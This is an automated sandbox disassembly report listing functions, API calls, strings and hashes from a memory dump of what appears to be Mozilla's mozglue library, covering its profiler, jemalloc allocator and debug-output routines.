Part of subcall function 6C50F070: GetCurrentThreadId.KERNEL32 ref: 6C50F440
Part of subcall function 6C50F070: AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F44D
Part of subcall function 6C50F070: ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C50F4A8
GetCurrentThreadId.KERNEL32 ref: 6C50F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F561
GetCurrentThreadId.KERNEL32 ref: 6C50F577
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F585
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C50F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C50F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C50F499
[I %d/%d] profiler_resume, xrefs: 6C50F239

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 8e9be10c175dbcb8e6acb79e918c37fd9449678404e6e24a8015b362967bd650
Instruction ID: eef0359db12bc7ad326c90f9b2559f143dc81b4d258219e670768c74c62ae992
Opcode Fuzzy Hash: 8e9be10c175dbcb8e6acb79e918c37fd9449678404e6e24a8015b362967bd650
Instruction Fuzzy Hash: 6FD1D535704604DFDB00FF68DC44B9A77B4EB8632CF15871AE96583B81DB715809C7AA

Function 6C4D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4D671C
GetCurrentProcess.KERNEL32 ref: 6C4D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4D672F
GetCurrentProcess.KERNEL32 ref: 6C4D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4D6A80
GetSystemInfo.KERNEL32(?), ref: 6C4D6ABE
__Init_thread_footer.LIBCMT ref: 6C4D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4D6AF7

Strings

user32.dll, xrefs: 6C4D6526
nvdxgiwrap.dll, xrefs: 6C4D6513
nvd3d9wrap.dll, xrefs: 6C4D6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4D6798
_etoured.dll, xrefs: 6C4D64ED
detoured.dll, xrefs: 6C4D64DA

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 5080ef4ccc7f102414394e775933c709d82337693b85bdf210c0712be5750a6e
Instruction ID: c92a2aa0e34811b6f75766ae163702e5b7401c393af7eb76ab4a470462f831e0
Opcode Fuzzy Hash: 5080ef4ccc7f102414394e775933c709d82337693b85bdf210c0712be5750a6e
Instruction Fuzzy Hash: 95F1D3709012298BDB20EF24CC58FDAB7B5AF46319F1686D9D809A7741E731BA85CF90

Function 6C4ED850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4ED904
LeaveCriticalSection.KERNEL32(?), ref: 6C4ED971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4ED97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4EE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4EE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4EE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4EE315
AcquireSRWLockExclusive.KERNEL32(6C54E804), ref: 6C4EE37C
GetSystemInfo.KERNEL32(?), ref: 6C4EE3C7
__Init_thread_footer.LIBCMT ref: 6C4EE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C54E810,00000040), ref: 6C4EE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7B8,00001388), ref: 6C4EE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E744,00001388), ref: 6C4EE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E784,00001388), ref: 6C4EE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7DC,00001388), ref: 6C4EE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E768,00001388), ref: 6C4EE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4EE52E
ReleaseSRWLockExclusive.KERNEL32(6C54E804), ref: 6C4EE54F

Part of subcall function 6C4DD960: EnterCriticalSection.KERNEL32(?), ref: 6C4DD999
Part of subcall function 6C4DD960: EnterCriticalSection.KERNEL32(6C54E7B8), ref: 6C4DDA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C4EE6DD
Compile-time page size does not divide the runtime one., xrefs: 6C4EE621
MOZ_CRASH(), xrefs: 6C4EE62B
MALLOC_OPTIONS, xrefs: 6C4EE3FF
<jemalloc>, xrefs: 6C4EE61C, 6C4EE6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EE560, 6C4EE58A, 6C4EE5A5

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: 87c2d2072fbe30940e3fe1881492a35a31995f0ea193ecad9243072cf7414933
Instruction ID: 61955e9ebb9459ed218d7edbbe77daf0c2c4126e3f243a20ae83c38eceb0fcca
Opcode Fuzzy Hash: 87c2d2072fbe30940e3fe1881492a35a31995f0ea193ecad9243072cf7414933
Instruction Fuzzy Hash: 57927C71A056118FD714CF28C880F15BBE1BF8A72AF1AC66DE8698B791D771E841CBC1

Function 6C52C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C52C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C52C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C52C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C52CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C52DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C52DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C52DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C52E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C52E472

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e9b66e585f9ae3545622322bc6254302c85732a75a843c309e081287d3979f7c
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: A633AF71E0021ACFCB14CFA8C8806EDBBF2FF49310F284669D955AB795E735A945CB90

Function 6C4EED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C4EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C4EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C4F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C4F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C4F1A3E

Strings

~qLl, xrefs: 6C4EED13
~qLl, xrefs: 6C4EED10

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qLl$~qLl
API String ID: 3693777188-2958376125
Opcode ID: 391d13b454f9c1a039dc58a81194664b4bf3127fae89290546b7407e5035cf25
Instruction ID: 59cb1120d58089683d9bfb28315a44ffcf836753eeef4f63c36e018a775347a4
Opcode Fuzzy Hash: 391d13b454f9c1a039dc58a81194664b4bf3127fae89290546b7407e5035cf25
Instruction Fuzzy Hash: 9EB32971E01219CFDB25CFA8C890E9DB7B2BF89304F1582A9D459AB745D730AD86CF90

Function 6C4DFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E7B8), ref: 6C4DFF81
LeaveCriticalSection.KERNEL32(6C54E7B8), ref: 6C4E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4E0240
EnterCriticalSection.KERNEL32(6C54E768), ref: 6C4E025B
LeaveCriticalSection.KERNEL32(6C54E768), ref: 6C4E027B

Strings

<jemalloc>, xrefs: 6C4E0D62, 6C4E0D76, 6C4E0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C4E0D67, 6C4E0D7B, 6C4E0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4DFE99, 6C4DFEB7, 6C4DFED3, 6C4E0DB8, 6C4E0DD3, 6C4E19B4

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 83b02aad6ebc8cf5e0eab35e1e92df8956b5ade22b5b66d2996990aa97f84104
Instruction ID: d59ff154d6fbf61f682b9e9a6104d92642aa2f9f518b80ec8b91c17664930c5e
Opcode Fuzzy Hash: 83b02aad6ebc8cf5e0eab35e1e92df8956b5ade22b5b66d2996990aa97f84104
Instruction Fuzzy Hash: C8C2AF71A057418FD714CF28C880F16BBE1BF89329F29C66DE4A98B795D771E841CB81

Function 6C52E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C52E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C52EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C52F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C52F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C530E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C530E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C530EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C530ED4

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 398d1ddc25a9c5d787a79e1d6beeb71cc5d8f485b98d2e92970033cf1074262d
Instruction ID: dff8132091b9d2ed6885a55014d89d421633a8931c8fae52cffa7b48d6eb06d8
Opcode Fuzzy Hash: 398d1ddc25a9c5d787a79e1d6beeb71cc5d8f485b98d2e92970033cf1074262d
Instruction Fuzzy Hash: C3637E71E0025A8FCB14CFA8C8906DDF7F2FF89310F298269D859AB755E734A945CB90

Function 6C503E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C527770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Pl,?,?,?,6C503E7D,?,?), ref: 6C52777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C503F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C503F5C
VerSetConditionMask.NTDLL ref: 6C503F8D
VerSetConditionMask.NTDLL ref: 6C503F99
VerSetConditionMask.NTDLL ref: 6C503FA0
VerSetConditionMask.NTDLL ref: 6C503FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C503FB4

Strings

C>Pl, xrefs: 6C503E93
nvd3d9wrap.dll, xrefs: 6C504466
nvinit.dll, xrefs: 6C504479

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Pl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-959835003
Opcode ID: 03c61d4532ddd95ad18c01a46293b1d4153039ef5e5c3ae15fa65499998947b8
Instruction ID: 56521234c11efc6eccecbaaf6260709e85b6dde19c8a8a92819dc6186691d97b
Opcode Fuzzy Hash: 03c61d4532ddd95ad18c01a46293b1d4153039ef5e5c3ae15fa65499998947b8
Instruction Fuzzy Hash: 1052C072614B488BD714EF24C890EBB77E9AF85308F05492DE496CB742DB34F919CBA0

Function 6C4DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E7B8), ref: 6C4DFF81
LeaveCriticalSection.KERNEL32(6C54E7B8), ref: 6C4E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4E0240
EnterCriticalSection.KERNEL32(6C54E768), ref: 6C4E025B
LeaveCriticalSection.KERNEL32(6C54E768), ref: 6C4E027B

Strings

MOZ_CRASH(), xrefs: 6C4E0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4DFE99, 6C4DFEB7, 6C4DFED3, 6C4E0DB8, 6C4E0DD3, 6C4E19B4, 6C4E1A10

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 85c2b7eb02e3c780e5b8d92e1ee128493f84386f91eafdbf6b3ff9421e6db50d
Instruction ID: 64147cc3f99546ab7ab156cdf845eb967dadd16a5e24e11ed64393872ef93614
Opcode Fuzzy Hash: 85c2b7eb02e3c780e5b8d92e1ee128493f84386f91eafdbf6b3ff9421e6db50d
Instruction Fuzzy Hash: 0AB2C0716057418FD714CF29C990F16BBE1BF8932AF29C66CE86A8B796C770E841CB41

Function 6C515600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C515CB6
data, xrefs: 6C516131
ProfileBuffer parse error: %s, xrefs: 6C515AC8, 6C515CBB
expected a Count entry, xrefs: 6C515AC3
name, xrefs: 6C515E79, 6C515E8F
schema, xrefs: 6C51606D

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e16af39b15fe15aaa20177532041bc6d62d43e302d6b11f9e83d05c5123b963d
Instruction ID: 40eaaade078b2d709ec56895dc09bb6ecd32b54c79a63aa1354dc7d4be888be0
Opcode Fuzzy Hash: e16af39b15fe15aaa20177532041bc6d62d43e302d6b11f9e83d05c5123b963d
Instruction Fuzzy Hash: D4924C71A083418FE724CF28C894B5AB7E1FFC9308F55891DE5999BB51DB30E909CB92

Function 6C4D7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E744), ref: 6C4D7885
LeaveCriticalSection.KERNEL32(6C54E744), ref: 6C4D78A5
EnterCriticalSection.KERNEL32(6C54E784), ref: 6C4D78AD
LeaveCriticalSection.KERNEL32(6C54E784), ref: 6C4D78CD
EnterCriticalSection.KERNEL32(6C54E7DC), ref: 6C4D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4D7C82
LeaveCriticalSection.KERNEL32(6C54E7DC), ref: 6C4D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4D7DAF

Strings

DTl, xrefs: 6C4D787F
DTl, xrefs: 6C4D789F

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DTl$DTl
API String ID: 759993129-1077644595
Opcode ID: 11a85085f3d316697e8a1983fa3257ebf0deb5ef62c3d5e77eccaeabb07b02a4
Instruction ID: 579181715a636b5fb96b4e71469e97a94a720469c6fbc35d5e9f67fee7606228
Opcode Fuzzy Hash: 11a85085f3d316697e8a1983fa3257ebf0deb5ef62c3d5e77eccaeabb07b02a4
Instruction Fuzzy Hash: AE028131A052198FDB54DF19C994F99B7B5FF88318F2682AAD809A7705D730BE91CF80

Function 6C512E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C512ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C512EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C512F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C513214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C513242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5136BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C51378D
get , xrefs: 6C513205
set , xrefs: 6C5136EC

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: be7afa65eb8191f0e1cd43cdac97f3157efd7e86c42383a50b04c1f5a10ead3a
Instruction ID: a682990198565728dca70f30885ff2856eb102f055a2a99bc3fd4a7bca2676a6
Opcode Fuzzy Hash: be7afa65eb8191f0e1cd43cdac97f3157efd7e86c42383a50b04c1f5a10ead3a
Instruction Fuzzy Hash: 5D32507460C3818FE324CF24C894AAEB7E2AFC9318F558D1DE59987B51DB30D94ACB52

Function 6C507E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C507E88
vTl, xrefs: 6C508207
data, xrefs: 6C508280, 6C5083E1
name, xrefs: 6C507ECF, 6C508335
schema, xrefs: 6C5081E3, 6C508311

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vTl
API String ID: 3412268980-1303428864
Opcode ID: c04c239b80b9098b78d3192d2b0b805c08bff230b26f5feb9f281bd35ea00ca3
Instruction ID: be3acbade76285437bc9149cab99e71e6db23c091b738d14304c233b3aa0978c
Opcode Fuzzy Hash: c04c239b80b9098b78d3192d2b0b805c08bff230b26f5feb9f281bd35ea00ca3
Instruction Fuzzy Hash: DDE16071B043548BC714CF688850A5BF7E9BFC5314F158A2DE899D7790EBB0ED098B92

Function 6C525FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C526009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C526024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QLl,?), ref: 6C526046
OutputDebugStringA.KERNEL32(?,QLl,?), ref: 6C526061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C526069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C526073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C526082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C54148E), ref: 6C526091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QLl,00000000,?), ref: 6C5260BA
